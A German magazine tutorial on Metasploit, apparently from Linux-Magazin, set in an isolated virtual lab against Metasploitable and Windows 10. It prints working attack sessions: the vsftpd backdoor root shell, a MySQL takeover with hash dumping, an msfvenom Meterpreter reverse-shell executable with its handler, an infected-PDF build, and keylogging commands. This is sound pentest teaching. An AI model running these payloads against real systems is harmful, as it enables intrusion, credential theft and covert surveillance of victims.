Sicherheitslücken finden, analysieren und nutzen: Das Urgestein Metasploit zählt keineswegs zum alten Eisen, wie ein typischer Workflow zur Übernahme von Windows-10- und Linux-Systemen demonstriert.
Metasploit: Dem einen treibt schon der Name den Schweiß auf die Stirn, andere nutzen das Hacker-Tool regelmäßig, um die eigenen Systeme auf Schwachstellen zu testen (Pentesting). Waffengleichheit nennt man das – notwendig, um den sicheren Betrieb, nicht nur von KRITIS-Systemen, aufrecht zu erhalten. Das Schwachstellenmanagement (Vulnerability Management) ist ein großer Markt, die Skills erfahrener Pentester sind begehrt, Strategien für Red-Team/Blue-Team-Trainings und Catch-the-Flag-Setups füllen ganze Bücher.
Die gibt es auch zu Metasploit. Das Linux-Magazin berichtete zum ersten Mal vor mehr als zwölf Jahren [1] darüber, wie etwa dem Dalai Lama und so mancher Regierung Exploits in PDFs untergeschoben wurden [2], und auch an Charly Kühnasts Sysadmin-Kolumne ging das Thema nicht vorbei [3] – Metasploit ist überall.
Dabei ist durchaus Vorsicht geboten, schrieb schon Charly: Wer mit einem Pentesting-Tool wild im eigenen Netz herumfuchtelt, bleibt zwar am Leben. Er riskiert aber, dass das betriebliche Security-Monitoring anschlägt, allerorten die roten Lichter angehen und die Alarmstufe DEFCON 3 ausgerufen wird, weil der Incident Response Plan greift.
Auch dem Autor dieses Artikels widerfuhr das, als ein übereifriger OpenVPN-Kursteilnehmer im Linux-Hotel ein Pentesting-Tool nutzte und auf der Kurs-Cloud bei Hetzner mit einer geringfügig falschen Netzmaske herumzuscannen begann. Binnen weniger Minuten erkannten die Überwachungswerkzeuge das ungebührliche Verhalten und fuhren das Kursnetz schlicht herunter – samt warnender Info-Mail mit Großbuchstaben an den Kursleiter.
Sichere Umgebung
Wer also Pentesting mit dem Standard-Tool lernen will, der sollte sich zunächst Gedanken über seine Umgebung machen. Normalerweise bietet sich dann schnell ein virtuelles Setup an, begrenzt und separiert auf ein Subnetz, ein VLAN oder sogar ein physikalisch separiertes Netz. Für die meisten Anwender und Einsteiger sollte ein virtuelles Netz in einer Virtualisierungslösung wie Virtualbox oder Libvirt völlig ausreichen, auch Container funktionieren dort.
Im folgenden Beispiel installiert der Anwender auf Qemu-KVM und Libvirt vier virtuelle Maschinen zum Spielen: ein Parrot Linux, ein Kali Linux, ein Windows 10 und ein Metasploitable (Abbildung 1). Bei Letzterem handelt es sich um ein extra anfälliges Linux, das die Metasploit-Macher zum Lernen und Testen bereitstellen. Windows 10 fungiert als zweites Opfer.
Die Distributionen Parrot Linux und Kali Linux bringen Metasploit praktischerweise bereits mit. Parrot Linux kommt zudem mit einem kompletten KDE-Desktop. Dem Quasi-Standard-OS für das Pentesting, Kali Linux, widmet sich ein separater Artikel in diesem Heft ab Seite 30.
Das vorgestellte Setup erlaubt aber durchaus auch das unkomplizierte Ausprobieren weiterer Pentesting-Suiten, zum Beispiel Black Arch Linux mit seinen 16 GByte an Tools.
Überblick
Seit den letzten Artikeln zum Thema Metasploit im Linux-Magazin hat sich viel getan, die Changelogs sind lang. Nicht alle früher vorgestellten Befehle funktionieren noch; teilweise wurden sie umbenannt, teilweise entfernt oder müssen nun per Addon nachgeladen werden.
Die Entwicklung des Metasploit-Projekts schreitet schnell voran. Stets aktuelle Informationen finden sich im Blog des US-Herstellers Rapid7 [4] aus Boston, Massachusetts. Das Metasploit Framework ist Open Source Software, entstand um 2003 (damals in Perl) und wurde seit 2007 in Ruby neu implementiert. Rapid7 erwarb 2009 das Metasploit-Projekt und bot zunächst sowohl eine Enterprise- als auch eine Community-Edition an; Letztere wurde 2019 eingestellt.
Heute gibt es stattdessen das (freie) Metasploit Framework (MSF), das dieser Artikel vorstellt. Es steht keineswegs nur für Kali Linux oder Parrot Linux bereit. Wer aber eine schicke Web-GUI will, der sollte sich MSF Pro ansehen (Abbildung 2). So heißt das Enterprise-Produkt, das Rapid7 seit 2010 anbietet. Leider reagierte der Hersteller auf keine unserer Anfragen, bei Kunden dürfte das sicher anders laufen.
Das Metasploit Framework ist dabei nur eines, wenn auch das bekannteste Unterprojekt des Metasploit-Projekts, das außerdem unter anderem ein Shellcode-Archiv und das schon erwähnte Metasploitable-Image pflegt (Abbildung 3). Pflegen ist bei Letzterem vielleicht zu viel gesagt, denn viele neue Schwachstellen enthält es nicht, aber fürs Lernen aus Angreifersicht (Red Team) genügt es durchaus.

Abbildung 3: Metasploitable, eine extra verwundbare Linux-Version, bietet für Lernende gute Angriffspunkte.
Seit den letzten Artikeln im Linux-Magazin explodierte die Anzahl der in Metasploit enthaltenen Exploits geradezu, jetzt sind es über 2000. Daneben kamen zahllose neue Ziele (Targets) hinzu, darunter auch Software wie die von Adobe und Oracle sowie neue Datenbanken. Das Framework umfasst Hunderte Payloads (Schadcode zum Einbetten) und neue Module fürs “scanning, fuzzing, sniffing” (scannen, mit Zufallsdaten füttern, abschnüffeln). Die Auxiliary-Module gliedern sich dabei in Scanner-, Admin- und Server-Module.
Workflow
Das Metasploit Framework gibt es für Windows, Linux und den Mac. Der Workflow mit Metasploit gestaltet sich prinzipiell recht simpel und folgt stets derselben Struktur. Er läuft in fünf Schritten ab (auch wenn Abbildung 4 nur von vier spricht):
- Zunächst geht es um das Auffinden einer Vulnerability, also einer Sicherheitslücke oder eines Ansatzpunkts für einen potenziellen Angriff wie beispielsweise ein unsicheres Passwort oder einen laufenden, veralteten oder ungepatchten Server-Dienst.
- Danach darf der Hacker in spe einen passenden Exploit konfigurieren, der diese Lücke auszunutzen versteht.
- Nun gilt es, eine Payload auszuwählen, also ein für den Zweck passendes Malware- oder Fernsteuerungsprogramm, dass der Hacker von seinem Exploit über die Sicherheitslücke installieren lässt.
- Nach der Auswahl der Lücke, des Exploits und der Payload stehen in der Regel noch diverse Anpassungen an. Es gilt, den Exploit, vor allem aber die Payload zu konfigurieren, beispielsweise die Adresse des Command-and-Control-Servers für den Rückkanal einzugeben.
- Zu guter Letzt geht es an das Ausführen des Angriffs (»run«).

Abbildung 4: Recon, Exploit, Payload, Loot, so anschaulich erklärt das Metasploit Framework auf Parrot Linux gelegentlich seine eigene Architektur. Die Ascii-Art stammt von eigenen Fortune-Cookies.
Das Arbeiten mit Pentesting-Tools folgt stets dem Prinzip Erfolg und Irrtum. Es handelt sich um ein Puzzlespiel, das viel Spaß bereiten kann. Nicht selten führt es zu adrenalinschwangeren Erfolgserlebnissen, etwa, wenn man zum ersten Mal ein Windows 10 übernommen hat, ohne ein Passwort einzugeben. Dennoch ergibt es Sinn, eigene Erfahrungen mit der Metasploit-Community auch zu teilen, beispielsweise auf Github [5].
Armitage und Meterpreter
Um nur einmal schnell in die Fähigkeiten von Metasploit hineinzuschnuppern, genügt unter Parrot Linux und Kali Linux ein Klick im Hauptmenü auf den Eintrag Armitage. Tutorialspoint [6] und Offensive Security [7] bieten gute Einsteiger-Tutorials für Mausschubser-Forensiker an (wie das ein befreundeter BKA-Trainer zu nennen pflegt).
Armitage [8] genießt unter Red Teams einen guten Ruf, auch dank des Collaboration Mode, den die Entwickler selbst Multi-Player Metasploit beziehungsweise Red Team Collaboration Mode nennen. Armitage (Abbildung 5) kann zwar über sein Hauptmenü auch ganz simpel einfache Nmap-Host-Scans ausführen, aber die wahre Stärke des Tools zeigt sich erst, wenn mehrere Anwender gleichzeitig in einer Meterpreter-Shell gemeinsam einen kompromittierten Host beackern.

Abbildung 5: Armitage ist das GUI-Frontend der Wahl für Red Teams und alle, die einen grafischen Zugang zu Metasploit suchen.
Bei Meterpreter [9] handelt es sich wohl um die ansprechendste Payload, die ein Angreifer auf einem entfernten Rechner zu installieren vermag. Sie lässt sich problemlos in anderen Dateiformaten (etwa PDFs) verstecken, als E-Mail-Anhang mitschicken oder in Webseiten unterbringen. Es genügt, wenn das Opfer eine präparierte Webseite, E-Mail oder ein entsprechendes Dokument öffnet – schon erhält der Angreifer die Kontrolle über den Rechner.
Meterpreter als Payload öffnet in diesem Fall eine Reverse Shell – Ransomware würde jetzt den Rechner verschlüsseln und eine Backdoor öffnen. Ein übernommener Windows-10-Rechner beispielsweise gestattet nun dem Angreifer den Zugang per Befehlszeile, vielleicht sogar als Admin. Lange vor der Powershell nannte der schon zitierte BKA-Trainer Meterpreter “die bessere Shell für den Windows-Admin” – nicht nur wegen des umfangreichen Befehlssatzes, sondern auch wegen zahlreicher hilfreicher Erweiterungen wie Mimikatz [10]. Letzteres spielte beim Angriff auf den deutschen Bundestag 2015 [11] eine zentrale Rolle und half, die Active-Directory-Domäne auszuspähen und Domänenadmin-Rechte zu erlangen.
Meterpreter verweilt dabei komplett im Arbeitsspeicher des übernommenen Systems. Dank In-Memory DLL Injection schreibt es nichts auf die Festplatte, erzeugt keine neuen Prozesse und hinterlässt so im Idealfall auch keine dauerhaften Spuren. Der Forensiker nennt das einen sehr kleinen forensischen Fußabdruck. Es kann aber sehr wohl auf andere laufende Prozesse übergreifen.
Dass Meterpreter dabei gleichzeitig extrem flexibel ist, sollte nicht überraschen, wurde es doch entworfen, um die Qual der Wahl einer geeigneten Payload zu umgehen. Mit Meterpreter lässt sich derlei später nachholen, mithilfe einer Remote Shell ohne Alarme von Virenscannern oder ähnlichen Tools auszulösen.
Für die Befehlszeile stehen dem Admin zwei grundsätzliche Methoden zur Verfügung: Bind oder Reverse. Mit Bind lauscht Meterpreter lokal an einem Port, bis der Angreifer sich verbindet. Bei Reverse nimmt der Opferrechner selbst direkt Verbindung zum Control-Server auf. Den muss der Angreifer entsprechend konfiguriert haben, damit die Verbindung klappt. Beide Vorgehensweisen erweisen sich in unterschiedlichen Szenarien als hilfreich.
All das bisher Beschriebene lässt sich am besten mit Metasploitable testen, der “absichtlich verwundbaren Version von Ubuntu Linux”, die Rapid7 und das Metasploit-Projekt bereitstellen. Das Image gibt es mittlerweile in Version 2 mit vielen zusätzlichen Löchern. Eine komplette Liste aller Lücken in dem Image passt in keinen Artikel. Es lohnt sich jedoch, einen Blick in den Exploitability Guide [12] zu werfen.
Das zum Download angebotene Image lässt sich nicht installieren, es ist für den Einsatz in Virtualisierungsumgebungen gebaut. Es kommt im VMware-Format VMDK mit separaten Konfigurationsdateien. Um es in Libvirt/KVM zu verwenden, müssen Sie es von der Rapid7-Website herunterladen, entpacken und konvertieren [13]. Dann wandeln Sie die Konfigurationsdatei mit einem Skript um und legen mit Virsh in Libvirt eine neue virtuelle Maschine an. Das klingt kompliziert, lässt sich aber mit drei Kommandos erledigen (Listing 1). Nur der Download dauert etwas länger, weil Rapid7 eine Registrierung verlangt.
Listing 1
Image für KVM konvertieren
$ qemu-img convert -f vmdk Metasploitable.vmdk -O qcow Metasploitable.qcow2 $ wget https://bazaar.launchpad.net/~ubuntu-virt/virt-goodies/trunk/download/head:/vmware2libvirt $ python vmware2libvirt -f Metasploitable.vmx > Metasploitable.xml
Das Ubuntu-Skript funktionierte im Test problemlos auf einem Notebook unter OpenSuse Tumbleweed, wo ein »zypper in virt-manager libvirtd« sowohl den Server-Dienst als auch das Frontend installiert. Allerdings ließ sich das Image im Test nicht mit »virt-v2v« konvertieren, daher das Ubuntu-Skript (Listing 1, Zeile 2).
Das Metasploitable-Image nutzt in der Vorgabe das Libvirt-Netzwerk mit dem Namen »default«, das standardmäßig auf NAT gesetzt ist und so die Maschinen des Test-Szenarios vom Rest des Netzes abkapselt. Nicht vergessen: Libvirtd läuft erst, wenn Systemd es auch startet, am besten dauerhaft mit »systemctl enable libvirtd«. Den Erfolg überprüfen Sie mit »systemctl status libvirtd«, für eine Sofortstart sorgt »service libvirtd start«. Jetzt importieren Sie noch mit »virsh -c qemu:///system define Metasploitable.xml« das Image, und schon zeigt der Virt-Manager beim Start eine fertig konfigurierte, startbare Metasploitable-Instanz. Es empfiehlt sich sicherzustellen, dass das System diese Instanz und das zugehörige Netzwerk beim Booten oder beim Start von Virt-Manager automatisch hochfährt.
Jetzt installieren Sie noch Windows 10 in eine weitere virtuelle Maschine und erledigen dasselbe für Kali Linux und Parrot Linux (wobei die beiden Live-Distributionen ja auch wunderbare Dienste ohne Installation leisten). Aus Performance-Gründen fiel im Test die Entscheidung, die beiden Distributionen auf virtuelle Platten zu installieren.
Nach Abschluss dieser Vorarbeiten geht es ans erste Testen mit SSH: »ssh-copy-id« überträgt den eigenen SSH-Key auf die drei Linuxe, je ein Alias macht das Leben fortan leichter. Für Metasploitable lauten Benutzername und Password »msfadmin«. Bei Kali gibt es meist keinen Root-Account (wenn doch, lautet das Passwort »toor«, sonst können Sie es während der Installation konfigurieren), aber den Benutzer kali mit gleichlautendem Passwort. Auch Parrot Linux nutzt »toor« als Root-Passwort, hat den Account aber weitgehend deaktiviert.
Das Kommando »ssh-copy-id msfadmin@192.168.122.X« kopiert den eigenen Public Key auf den virtuellen Metasploitable-Rechner, der sich hinter der IP-Adresse 192.168.122.nnn verbirgt. Drei Aliase in »~/.alias« machen das Leben leichter (Listing 2) – vergessen Sie das Sourcen nach dem Editieren nicht. Auch Einträge im Host-File oder im DNS helfen hier.
Listing 2
Praktische Aliase
alias metasploitable='ssh msfadmin@192.168.122.236' alias kali='ssh kali@192.168.122.192' alias parrot='ssh parrot@192.168.122.56'
Spätestens jetzt steht einem ersten Test von Metasploitable nichts im Weg. Dank einer absichtlich verbauten Telnet-Sicherheitslücke eröffnet sich dem Parrot-User in Listing 3 eine Backdoor. Das Beispiel zeigt eindrucksvoll, wie wichtig signierte Softwarepakete aus zuverlässigen Quellen sind: Hier hat ein Hacker offensichtlich dafür gesorgt, dass der FTP-Dienst auf Port 21 eine Backdoor mit Admin-Rechten auf Port 6200 öffnet, wenn – festhalten! – der Username des Vsftpd-Logins einen Smiley enthält (Zeile 10). Sodann erlaubt der zweite Telnet-Befehl im Beispiel Login-freien Zugang zu einer Art Root-Shell.
Listing 3
Telnet-Hintertür in Metasploitable
Parrot GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Jul 25 20:12:28 2021 from 192.168.122.1 [mfeilner@parrot][~] $ telnet 192.168.122.236 21 Trying 192.168.122.236... Connected to 192.168.122.236. Escape character is '^]'. 220 (vsFTPd 2.3.4) user mfeilner:) 331 Please specify the password. pass ^] telnet> quit Connection closed. [mfeilner@parrot][~] $ telnet 192.168.122.236 6200 Trying 192.168.122.236... Connected to 192.168.122.236. Escape character is '^]'. id; uid=0(root) gid=0(root) cat /etc/passwd; root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh (...) reboot; Connection closed by foreign host.
Metasploitable fährt noch viele weitere unsichere Dienste, die ein Nmap-Scan ans Tageslicht fördert (Listing 4). Und weil der Nmap-Befehl auch eine MySQL-Datenbank auf Metasploitable findet, zeigt das nächste Beispiel einen einfachen Weg, um dieses DBMS zu übernehmen – dank eines fehlenden Root-Passworts. Listing 5 zeigt die gesamte Befehlssequenz und die Rückgabe von Parrot, MSF und Metasploitable. Das Kommando »msfconsole« startet hier die interaktive Shell des Metasploit Frameworks. Listing 6 zeigt die Verifikation durch ein MySQL-Kommando samt Abruf von Benutzerdaten aus »/etc/passwd«.
Listing 4
Nmap-Scan auf Metasploitable
[root@parrot][/]
# nmap -p0-65535 metasploitable
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-25 22:05 CEST
Nmap scan report for metasploitable (192.168.122.236)
Host is up (0.095s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open ircs-u
8009/tcp open ajp13
8180/tcp open unknown
8787/tcp open msgsrvr
45901/tcp open unknown
46758/tcp open unknown
58453/tcp open unknown
60132/tcp open unknown
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 31.35 seconds
Listing 5
MySQL-Datenbank übernehmen
[root@parrot][/] # msfconsole (...) msf6 > use auxiliary/scanner/mysql/mysql_version msf6 auxiliary(scanner/mysql/mysql_version) > set RHOSTS metasploitable RHOSTS => metasploitable msf6 auxiliary(scanner/mysql/mysql_version) > run [+] 192.168.122.236:3306 - 192.168.122.236:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10) [*] metasploitable:3306 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf6 auxiliary(scanner/mysql/mysql_version) > use auxiliary/admin/mysql/mysql_enum msf6 auxiliary(admin/mysql/mysql_enum) > set RHOSTS metasploitable RHOSTS => metasploitable msf6 auxiliary(admin/mysql/mysql_enum) > run [*] Running module against 192.168.122.236 [-] 192.168.122.236:3306 - Access denied [*] Auxiliary module execution completed msf6 auxiliary(admin/mysql/mysql_enum) > set USERNAME root USERNAME => root msf6 auxiliary(admin/mysql/mysql_enum) > run [*] Running module against 192.168.122.236 [*] 192.168.122.236:3306 - Running MySQL Enumerator... [*] 192.168.122.236:3306 - Enumerating Parameters [*] 192.168.122.236:3306 - MySQL Version: 5.0.51a-3ubuntu5 (...) [*] 192.168.122.236:3306 - Enumerating Accounts: [*] 192.168.122.236:3306 - List of Accounts with Password Hashes: [+] 192.168.122.236:3306 - User: debian-sys-maint Host: Password Hash: [+] 192.168.122.236:3306 - User: root Host: % Password Hash: [+] 192.168.122.236:3306 - User: guest Host: % Password Hash: [*] 192.168.122.236:3306 - The following users have GRANT Privilege: [*] 192.168.122.236:3306 - User: debian-sys-maint Host: [*] 192.168.122.236:3306 - User: root Host: % [*] 192.168.122.236:3306 - User: guest Host: % [*] 192.168.122.236:3306 - The following users have CREATE USER Privilege: (...) [*] Auxiliary module execution completed msf6 auxiliary(admin/mysql/mysql_enum) > use auxiliary/scanner/mysql/mysql_hashdump msf6 auxiliary(scanner/mysql/mysql_hashdump) > set USERNAME root USERNAME => root msf6 auxiliary(scanner/mysql/mysql_hashdump) > set RHOSTS metasploitable RHOSTS => metasploitable msf6 auxiliary(scanner/mysql/mysql_hashdump) > run [+] 192.168.122.236:3306 - Saving HashString as Loot: debian-sys-maint: [+] 192.168.122.236:3306 - Saving HashString as Loot: root: [+] 192.168.122.236:3306 - Saving HashString as Loot: guest: [*] metasploitable:3306 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf6 > use /auxiliary/scanner/mysql/mysql_login [*] Using auxiliary/scanner/mysql/mysql_login msf6 auxiliary(scanner/mysql/mysql_login) > use /auxiliary/scanner/mysql/mysql_login msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS metasploitable RHOSTS => metasploitable msf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME root USERNAME => root msf6 auxiliary(scanner/mysql/mysql_login) > run [+] 192.168.122.236:3306 - 192.168.122.236:3306 - Found remote MySQL version 5.0.51a [!] 192.168.122.236:3306 - No active DB -- Credential data will not be saved! [+] 192.168.122.236:3306 - 192.168.122.236:3306 - Success: 'root:' [*] metasploitable:3306 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Listing 6
Verifikation mit MySQL-Kommando
(mfeilner@kali)-[~] $ mysql -h metasploitable -u root Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 15 (...) MySQL [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | dvwa | | metasploit | | mysql | | owasp10 | | tikiwiki | | tikiwiki195 | +--------------------+ 7 rows in set (0.001 sec) MySQL [(none)]> select load_file('/etc/passwd'); +----------------------------------------------(...) + | load_file('/etc/passwd') (...) + | root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh (...) proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false (...) + 1 row in set (0.001 sec)
Wie Sie am Ende von Listing 6 sehen, verwendet Metasploit hier noch keine Datenbank für die erfassten Daten, hinterlässt also auch keine Spuren. Wer die Datenbank verwendet (standardmäßig PostgreSQL), erhält noch einige hilfreiche Funktionen mehr. Ein »service postgresql start« startet sie, für Metasploit muss nun noch eine Initialisierung stattfinden (Listing 7).
Listing 7
Datenbank für Metasploit initialisieren
(root@kali)-[/home/mfeilner] # msfdb init [+] Starting database [+] Creating database user 'msf' Geben Sie das Passwort der neuen Rolle ein: Geben Sie es noch einmal ein: [+] Creating databases 'msf' (...) [+] Creating databases 'msf_test' (...) [+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml' [+] Creating initial database schema (root@kali)-[/home/mfeilner] msf6 > help database Database Backend Commands ========================= Command Description ------- ----------- analyze Analyze database information about a specific (...) db_nmap Executes nmap and records the output (...) msf6 > db_nmap -v -sV 192.168.122.0/24 (...) [*] Nmap: Nmap done: 256 IP addresses (4 hosts up) scanned in 66.64 seconds msf6 > hosts Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 192.168.122.1 Unknown device 192.168.122.56 parrot Unknown device 192.168.122.192 kali Unknown device 192.168.122.236 metasploitable Linux server
Der Befehl »Db_nmap« hat die Datenbank mit Hosts gefüllt. Wie Listing 8 zeigt, führt Metasploit jetzt den »mysql-login«-Scan automatisch gegen alle gelisteten Hosts aus und findet auch den fehlerhaften Root-Account ohne Passwort. Für alle anderen Fälle gibt es Wortlisten für den Passwortangriff unter »/usr/share/metasploit-framework/data/wordlists«. Sie wenden sie mit »SET PASS_FILE /Pfad/zur/Liste« an. Ein »creds« zeigt alle verfügbaren, automatisch erworbenen Login-Daten.
Listing 8
MySQL-Scan mit Datenbank
msf6 > use /auxiliary/scanner/mysql/mysql_login msf6 auxiliary(scanner/mysql/mysql_login) > run [-] 192.168.122.1:3306 - 192.168.122.1:3306 - Unable to connect: The connection was refused by the remote host (192.168.122.1:3306). [*] Scanned 1 of 5 hosts (20% complete) (...) [*] Scanned 4 of 5 hosts (80% complete) [+] 192.168.122.236:3306 - 192.168.122.236:3306 - Found remote MySQL version 5.0.51a [+] 192.168.122.236:3306 - 192.168.122.236:3306 - Success: 'root:' [*] Scanned 5 of 5 hosts (100% complete) [*] Auxiliary module execution completed msf6 auxiliary(scanner/mysql/mysql_login) > creds Credentials =========== host origin service public private realm private_type JtR Format ---- ------ ------- ------ ------- ----- 192.168.122.236 192.168.122.236 3306/tcp (mysql) root Blank password
Auch wenn der mehrstufige Metasploit-Workflow jetzt klarer wird, umreißen die Beispiele die Möglichkeiten des Frameworks nur ansatzweise. Schon ein »search login« an der Msfconsole gibt 248 Exploits zurück, die für das Anmelden an Systemen dienen können. Mit »use auxiliary/scanner/smb/smb_login« lässt sich beispielsweise herausfinden, ob ein Samba-/Windows-/Active-Directory-Login auch für andere Dienste oder Server funktioniert.
Wem all das noch nicht genügt, der zieht sich Erweiterungen wie Autopwn (Listing 9). Mit dessen Erweiterungen funktioniert es noch einfacher und automatischer, fremde Maschinen zu übernehmen. Das Modul wurde in den letzten Jahren aus dem Standardumfang von Metasploit entfernt.
Listing 9
Autopwn nachziehen
# cd /usr/share/metasploit-framework/plugins # sudo wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db_autopwn.rb # mfsconsole msf6 > load db_autopwn [*] Successfully loaded plugin: db_autopwn
Windows 10 und mehr
Listing 10 nutzt dann nicht mehr Metasploitable, sondern greift die Windows-10-Instanz an. Die jüngsten Versionen von Microsofts Betriebssystem bringen schon eine stattliche Anzahl an Schutzmechanismen mit; dieser Artikel verzichtet darauf, Umgehungsmaßnahmen oder Quellen für den Exploit-Download zu beschreiben.
Listing 10
Remote-Shell auf Windows 10
(mfeilner@kali)-[~] $ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.122.192 -f exe -o /tmp/backdoor.exe (mfeilner@kali)-[~] $ msfconsole msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LPORT 4444 LPORT => 4444 msf6 exploit(multi/handler) > set LHOST 192.168.122.192 LHOST => 192.168.122.192 msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.122.192:4444 [*] Sending stage (175174 bytes) to 192.168.122.43 [*] Meterpreter session 1 opened (192.168.122.192:4444 -> 192.168.122.43:57816) at 2021-07-26 01:49:31 +0200 meterpreter > execute -f cmd.exe -i -H Process 6500 created. Channel 1 created. Microsoft Windows [Version 10.0.19042.1110] (c) Microsoft Corporation. All rights reserved. C:\Users\mfeilner\Desktop>
Im Schnelldurchlauf: »msfvenom« [14] erzeugt eine EXE-Datei, die eine Meterpreter-Backdoor enthält. Über Social Hacking gilt es nun, den Windows-Anwender dazu zu bringen, alle Warnungen (Abbildung 6) in den Wind zu schlagen und die Datei auszuführen. Gelingt das, lässt sich mit einigen Metasploit-Kommandos der Angriff konfigurieren und starten. Am Ende steht dem Angreifer die Remote-Administrator-Shell auf Windows 10 zur Verfügung.

Abbildung 6: Ohne Maßnahmen zur Verschleierung erkennt schon der Standard-Virenschutz von Windows 10 die Meterpreter-Payload als Trojaner, doch das ließe sich leicht umgehen.
All das klappt auch mit einer PDF-Datei, wie Listing 11 zeigt. Dafür braucht es allerdings eine Originaldatei, die Sie zum Infizieren benutzen. Im Beispiel öffnet das bloße Betrachten des PDF-Dokuments auf dem Rechner des Opfers eine Remote Shell für den Angreifer. Dort könnte er jetzt beispielsweise einen Keylogger installieren (»keyscan_start«); »keyscan_dump« gibt die Eingaben zurück.
Listing 11
Ein infiziertes PDF bauen
(mfeilner@kali)-[~] $ msfconsole msf6 > use exploit/windows/fileformat/adobe_pdf_embedded_exe (...) msf6 > set EXENAME reverse.exe (...) msf6 > set FILENAME tibet.pdf (...) msf6 > set INFILENAME /tmp/test.pdf (...) msf6 > set OUTPUTPATH /tmp (...) msf6 > set PAYLOAD windows/meterpreter/bind_tcp
Es mag dabei hilfreich sein, wie in einem Tutorial [15] von Offensive Security beschrieben den richtigen Prozess auszusuchen und mit »migratePID« zu einem vom Admin verwendeten Prozess zu wechseln. Die PID bekommt der Angreifer mit Tools wie Ps (in der Remote Shell). Der Keylogger gibt die Tastaturanschläge aus, die der jeweilige Prozess erhält – lohnenswert ist da beispielsweise der Prozess »winlogon.exe«.
Doch Windows 10 oder PDF-Viewer stellen bei Weitem nicht die einzigen Ziele dar: Die News auf der Meterpreter-Homepage erweisen sich als wahres Schatzkästlein, beispielsweise für Apple-Hacker [16]. Das Blog Mattionline [17] erklärt, wie einfach es gelingt, mit einem infizierten APK-Paket ein Android-Gerät zu übernehmen. Auch das klappt in nur fünf Schritten, dank Metasploit. (jcb/jlu)
Der Autor
Markus Feilner, Redakteur für Technik und Netzpolitik bei Mailbox.org, arbeitet seit 1994 mit Linux. Er war Stellv. Chefredakteur des Linux-Magazin und der iX sowie Doku-Teamleiter bei Suse. Er leitet seit 21 Jahren die Firma Feilner IT, die sich auf Dokumentation, digitale Souveränität und die OSI-Layer 8 bis 10 spezialisiert hat.
Infos
- Metasploitable: Hans-Peter Merkel, Markus Feilner, “Hacken im Freien”, LM 08/2010, S. 102, https://www.lm-online.de/21376
- Ein Hacker und die Strafverfolger: Markus Feilner, “Der Paulus von Freiburg”, LM 03/2009, S. 76, https://www.lm-online.de/17415
- Metasploit: Charly Kühnast, “Auf den Hund kommen”, LM 02/2015, S. 69, https://www.lm-online.de/33804
- Rapid7-Blog mit Updates: https://www.rapid7.com/de/blog/post/2021/07/23/metasploit-wrap-up-122/
- “Contributing to Metasploit”: https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md
- Tutorialspoint: https://www.tutorialspoint.com/metasploit/metasploit_armitage_gui.htm
- Offensive Security: https://www.offensive-security.com/metasploit-unleashed/armitage/
- Armitage: http://www.fastandeasyhacking.com/manual#multi
- Meterpreter: https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/
- Mimikatz: https://www.offensive-security.com/metasploit-unleashed/mimikatz/
- Bundestagshack: https://www.linux-magazin.de/ausgaben/2016/04/bundestags-it/
- Metasploitable: https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/https://information.rapid7.com/download-metasploitable-2017.html
- Image konvertieren: https://linux-hacking-guide.blogspot.com/2015/05/convert-vmware-virtual-machine-to-kvm.html
- Msfvenom: https://www.hackingarticles.in/msfvenom-tutorials-beginners/
- Keylogger: https://www.offensive-security.com/metasploit-unleashed/keylogging/
- Meterpreter und Apple: https://meterpreter.org/category/apple/
- Android übernehmen: https://mattionline.de/metasploit-meterpreter-android-smartphone/








